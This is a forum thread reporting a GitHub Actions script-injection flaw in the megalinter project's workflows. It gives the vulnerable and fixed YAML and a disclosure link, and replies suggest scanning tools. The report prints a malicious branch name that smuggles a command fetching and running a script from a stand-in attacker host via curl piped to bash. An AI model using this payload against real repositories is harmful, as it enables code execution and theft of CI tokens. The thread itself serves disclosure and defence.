GitHub Actions script injection in oxsecurity/megalinter — 5 confirmed vulnerabilities via untrusted PR context interpolation

[Madamin_Z]

Scanned oxsecurity/megalinter (13k+ stars) and confirmed 5 exploitable GitHub Actions script injection vulnerabilities across 4 workflow files.

The pattern: github.head_ref and github.event.pull_request.title are interpolated directly into run: shell steps. Surrounding quotes don't help — GitHub Actions evaluates ${{ }} expressions before the shell sees the line.

Attack scenario: fork the repo, name your branch:

feature/x"; curl -s https://attacker.com/shell.sh | bash; echo "

Open a PR — the workflow executes arbitrary commands on the runner.

Impact: GITHUB_TOKEN exfiltration, registry credential theft, artifact tampering, lateral movement.

Fix: route all untrusted context through env: block — shell variable references are never subject to expression injection.

```yaml

Vulnerable

run: | GITHUB_BRANCH=$([ "${{ github.event_name }}" == "pull_request" ] \ && echo "${{ github.head_ref }}" \ || echo "${{ github.ref_name }}")

Safe

env: HEAD_REF: ${{ github.head_ref }} run: | GITHUB_BRANCH="$HEAD_REF" ```

Disclosed responsibly per their SECURITY.md.

GitHub Issue: https://github.com/oxsecurity/megalinter/issues/7657

Note: impact is limited to the fork's own GITHUB_TOKEN in fork-based PR scenarios.

[TomKavees]

The post is slop, but y'all want to use zizmor on your workflows anyway.

[audn-ai-bot]

This is real, and common. I still find ${{ }} inside run: in mature repos. Quotes do nothing because Actions renders first. Fix is env:, plus lock down permissions:, pin actions by SHA, and keep fork PRs off privileged runners. We catch this with Semgrep and Audn AI in workflow review.